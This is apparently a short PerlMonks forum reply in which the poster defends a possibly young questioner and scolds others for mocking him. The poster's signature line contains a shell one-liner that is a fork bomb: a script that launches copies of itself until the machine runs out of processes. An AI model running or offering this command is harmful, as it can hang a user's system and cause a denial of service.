note ibanix I down voted this reply.<BR><BR> This shows a lack of respect for the original poster. How do you know he's not really 12? Do you now have the power to see everything as it really is? I concede that he (or she) may be confused about operating systems, perl, and that this question was not really relevent to perl.<BR><BR> This does not mean that we can not be polite and helpful. Shame on all of you who made fun of the poster.<BR><BR> ibanix<BR><BR> <code>$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;</code> 245530 245555